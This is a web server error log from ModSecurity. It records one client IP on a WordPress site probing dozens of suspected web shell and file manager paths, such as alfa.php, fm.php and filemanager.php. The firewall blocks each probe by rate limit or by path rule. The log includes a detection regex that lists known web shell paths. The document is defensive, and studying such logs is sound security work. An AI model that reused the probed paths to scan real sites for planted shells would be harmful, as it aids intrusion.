[Fri Apr 03 01:27:52.152985 2026] [:error] [pid 25035:tid 25450] [client 4.232.187.184:3095] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon.php"] [unique_id "ac6nGBhR292toNOkLqGywgAAAIg"]
[Fri Apr 03 01:27:52.644754 2026] [:error] [pid 25035:tid 25452] [client 4.232.187.184:4032] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon.php"] [unique_id "ac6nGBhR292toNOkLqGyxQAAAIo"]
[Fri Apr 03 01:27:53.195510 2026] [:error] [pid 25035:tid 25443] [client 4.232.187.184:3111] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon.php"] [unique_id "ac6nGRhR292toNOkLqGyyQAAAIE"]
[Fri Apr 03 01:27:53.682054 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:61599] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ac6nGRhR292toNOkLqGyygAAAJg"]
[Fri Apr 03 01:27:54.169715 2026] [:error] [pid 25018:tid 25430] [client 4.232.187.184:62198] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ac6nGnupR6lXnAUzFGr1YwAAAFE"]
[Fri Apr 03 01:27:54.658681 2026] [:error] [pid 25010:tid 25351] [client 4.232.187.184:61794] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ac6nGo_KcjFQF5TuqTWjmwAAAAM"]
[Fri Apr 03 01:27:55.277762 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:62223] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ac6nG3hROcck6_9HYygSOQAAAMo"]
[Fri Apr 03 01:27:55.767404 2026] [:error] [pid 25035:tid 25455] [client 4.232.187.184:62146] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "ac6nGxhR292toNOkLqGy0AAAAI0"]
[Fri Apr 03 01:28:09.607489 2026] [:error] [pid 25018:tid 25433] [client 4.232.187.184:62195] [client 4.232.187.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ac6nKXupR6lXnAUzFGr1iwAAAFQ"]
[Fri Apr 03 01:28:11.988977 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:29531] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6nK3hROcck6_9HYygSqAAAANI"]
[Fri Apr 03 01:28:12.486547 2026] [:error] [pid 25470:tid 25487] [client 4.232.187.184:3627] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6nLHhROcck6_9HYygSrgAAAM8"]
[Fri Apr 03 01:28:12.984875 2026] [:error] [pid 25018:tid 25424] [client 4.232.187.184:26573] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6nLHupR6lXnAUzFGr1jQAAAEs"]
[Fri Apr 03 01:28:13.507310 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:26563] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6nLXhROcck6_9HYygSsgAAAMM"]
[Fri Apr 03 01:28:14.162190 2026] [:error] [pid 25470:tid 25476] [client 4.232.187.184:3076] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6nLnhROcck6_9HYygSswAAAMQ"]
[Fri Apr 03 01:28:14.660094 2026] [:error] [pid 25470:tid 25484] [client 4.232.187.184:27529] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6nLnhROcck6_9HYygStQAAAMw"]
[Fri Apr 03 01:28:15.207530 2026] [:error] [pid 25470:tid 25479] [client 4.232.187.184:62246] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6nL3hROcck6_9HYygSugAAAMc"]
[Fri Apr 03 01:28:15.783787 2026] [:error] [pid 25018:tid 25436] [client 4.232.187.184:61806] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6nL3upR6lXnAUzFGr1kwAAAFc"]
[Fri Apr 03 01:28:16.365861 2026] [:error] [pid 25018:tid 25429] [client 4.232.187.184:26586] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6nMHupR6lXnAUzFGr1lwAAAFA"]
[Fri Apr 03 01:28:16.924744 2026] [:error] [pid 25018:tid 25412] [client 4.232.187.184:26618] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6nMHupR6lXnAUzFGr1ngAAAEE"]
[Fri Apr 03 01:28:17.502143 2026] [:error] [pid 25470:tid 25483] [client 4.232.187.184:28999] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6nMXhROcck6_9HYygSxAAAAMs"]
[Fri Apr 03 01:28:17.986952 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:62266] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6nMY_KcjFQF5TuqTWj9QAAABg"]
[Fri Apr 03 01:28:18.479305 2026] [:error] [pid 25470:tid 25487] [client 4.232.187.184:29018] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6nMnhROcck6_9HYygSyAAAAM8"]
[Fri Apr 03 01:28:18.981805 2026] [:error] [pid 25035:tid 25453] [client 4.232.187.184:30976] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6nMhhR292toNOkLqGy_AAAAIs"]
[Fri Apr 03 01:28:19.484964 2026] [:error] [pid 25018:tid 25427] [client 4.232.187.184:3946] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6nM3upR6lXnAUzFGr1owAAAE4"]
[Fri Apr 03 01:28:19.959553 2026] [:error] [pid 25010:tid 25371] [client 4.232.187.184:29055] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6nM4_KcjFQF5TuqTWj-AAAABY"]
[Fri Apr 03 01:28:20.564504 2026] [:error] [pid 25035:tid 25462] [client 4.232.187.184:3949] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6nNBhR292toNOkLqGzBAAAAJQ"]
[Fri Apr 03 01:28:21.090512 2026] [:error] [pid 25035:tid 25443] [client 4.232.187.184:3620] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6nNRhR292toNOkLqGzBgAAAIE"]
[Fri Apr 03 01:28:21.588633 2026] [:error] [pid 25035:tid 25442] [client 4.232.187.184:62270] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6nNRhR292toNOkLqGzDAAAAIA"]
[Fri Apr 03 01:28:22.086670 2026] [:error] [pid 25035:tid 25465] [client 4.232.187.184:62161] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6nNhhR292toNOkLqGzEQAAAJc"]
[Fri Apr 03 01:28:22.572035 2026] [:error] [pid 25470:tid 25476] [client 4.232.187.184:61063] [client 4.232.187.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ac6nNnhROcck6_9HYygSzgAAAMQ"]
[Fri Apr 03 01:28:23.049830 2026] [:error] [pid 25470:tid 25494] [client 4.232.187.184:26600] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6nN3hROcck6_9HYygSzwAAANY"]
[Fri Apr 03 01:28:23.603548 2026] [:error] [pid 25035:tid 25463] [client 4.232.187.184:3599] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6nNxhR292toNOkLqGzFgAAAJU"]
[Fri Apr 03 01:28:24.077735 2026] [:error] [pid 25010:tid 25365] [client 4.232.187.184:3623] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6nOI_KcjFQF5TuqTWkAwAAABA"]
[Fri Apr 03 01:28:24.709124 2026] [:error] [pid 25010:tid 25348] [client 4.232.187.184:3899] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6nOI_KcjFQF5TuqTWkCQAAAAE"]
[Fri Apr 03 01:28:25.214647 2026] [:error] [pid 25010:tid 25370] [client 4.232.187.184:62252] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6nOY_KcjFQF5TuqTWkDwAAABU"]
[Fri Apr 03 01:28:25.729102 2026] [:error] [pid 25010:tid 25358] [client 4.232.187.184:3876] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6nOY_KcjFQF5TuqTWkFQAAAAo"]
[Fri Apr 03 01:28:26.208726 2026] [:error] [pid 25018:tid 25412] [client 4.232.187.184:32588] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6nOnupR6lXnAUzFGr1rQAAAEE"]
[Fri Apr 03 01:28:26.693036 2026] [:error] [pid 25018:tid 25423] [client 4.232.187.184:62230] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6nOnupR6lXnAUzFGr1tgAAAEo"]
[Fri Apr 03 01:28:27.217437 2026] [:error] [pid 25470:tid 25484] [client 4.232.187.184:31027] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6nO3hROcck6_9HYygS3AAAAMw"]
[Fri Apr 03 01:28:27.693720 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:3621] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6nO3hROcck6_9HYygS3wAAAME"]
[Fri Apr 03 01:28:28.300564 2026] [:error] [pid 25010:tid 25366] [client 4.232.187.184:62194] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6nPI_KcjFQF5TuqTWkHwAAABE"]
[Fri Apr 03 01:28:28.794834 2026] [:error] [pid 25010:tid 25372] [client 4.232.187.184:3602] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6nPI_KcjFQF5TuqTWkIwAAABc"]
[Fri Apr 03 01:28:29.268547 2026] [:error] [pid 25018:tid 25425] [client 4.232.187.184:32618] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6nPXupR6lXnAUzFGr1wgAAAEw"]
[Fri Apr 03 01:28:29.777350 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:62150] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6nPXhROcck6_9HYygS6gAAANg"]
[Fri Apr 03 01:28:30.312979 2026] [:error] [pid 25018:tid 25415] [client 4.232.187.184:3353] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6nPnupR6lXnAUzFGr1xQAAAEM"]
[Fri Apr 03 01:28:30.787136 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:29560] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6nPnhROcck6_9HYygS7wAAAME"]
[Fri Apr 03 01:28:31.271664 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:3888] [client 4.232.187.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "ac6nP4_KcjFQF5TuqTWkLQAAAAs"]
[Fri Apr 03 01:28:31.754422 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:28618] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ac6nP4_KcjFQF5TuqTWkMgAAAAY"]
[Fri Apr 03 01:28:32.229701 2026] [:error] [pid 25010:tid 25349] [client 4.232.187.184:28624] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ac6nQI_KcjFQF5TuqTWkOQAAAAI"]
[Fri Apr 03 01:28:32.734584 2026] [:error] [pid 25035:tid 25444] [client 4.232.187.184:62211] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ac6nQBhR292toNOkLqGzHAAAAII"]
[Fri Apr 03 01:28:33.230536 2026] [:error] [pid 25470:tid 25475] [client 4.232.187.184:3342] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6nQXhROcck6_9HYygS-AAAAMM"]
[Fri Apr 03 01:28:33.762174 2026] [:error] [pid 25018:tid 25415] [client 4.232.187.184:32620] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6nQXupR6lXnAUzFGr1zgAAAEM"]
[Fri Apr 03 01:28:34.410916 2026] [:error] [pid 25035:tid 25445] [client 4.232.187.184:30049] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6nQhhR292toNOkLqGzIAAAAIM"]
[Fri Apr 03 01:28:35.065260 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:3364] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6nQ3hROcck6_9HYygS_gAAAME"]
[Fri Apr 03 01:28:35.559655 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:62424] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6nQxhR292toNOkLqGzJAAAAJY"]
[Fri Apr 03 01:28:36.082890 2026] [:error] [pid 25470:tid 25484] [client 4.232.187.184:62495] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6nRHhROcck6_9HYygTBwAAAMw"]
